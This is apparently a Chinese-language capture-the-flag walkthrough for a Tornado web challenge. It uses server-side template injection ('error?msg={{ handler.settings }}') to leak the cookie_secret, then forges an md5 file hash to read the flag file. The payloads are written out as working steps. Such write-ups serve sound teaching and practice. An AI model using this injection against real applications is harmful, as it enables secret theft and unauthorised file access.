1.查看主頁面
2.查看其他頁面,/welcome.txt
http://111.198.29.45:39004/file?filename=/welcome.txt&filehash=9aeecdd1844b70a3c4c719d2303cfaeb
/hints.txt
http://111.198.29.45:39004/file?filename=/hints.txt&filehash=9226131c021e8a84f91c65972c94ca3b
/flag.txt
http://111.198.29.45:39004/file?filename=/flag.txt&filehash=ed15d1deebc3e76eaf460728563f05d7
3.從上面三個頁面來看
flag在/fllllllllllllag文件中
url中的filehash是md5(cookie_secret+md5(filename))
可以構造payload為:file?filename=/fllllllllllllag&filehash=********************
filename已知道,只差filehash
4.直接輸入/fllllllllllllag嘗試,url跳轉頁面為
5./welcome.txt頁面看到render,可能會是SSTI模板注入
SSTI模板注入詳情:https://blog.csdn.net/zz_Caleb/article/details/96480967
嘗試驗證:
傳遞error?msg={{2}},頁面出現2
傳遞error?msg={{2*3}},頁面出現ORZ(但並不是cookie)
嘗試除和減操作符也是)返回ORZ,說明是操作符背過濾了。
6.通過模板注入如何拿到tornado中的cookie,用的就是handler.settings對象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
傳遞error?msg={{ handler.settings }}得到:
7.使用md5加密構造計算出filehash的值,md5(cookie_secret+md5(/fllllllllllllag))
8.傳遞參數得到flag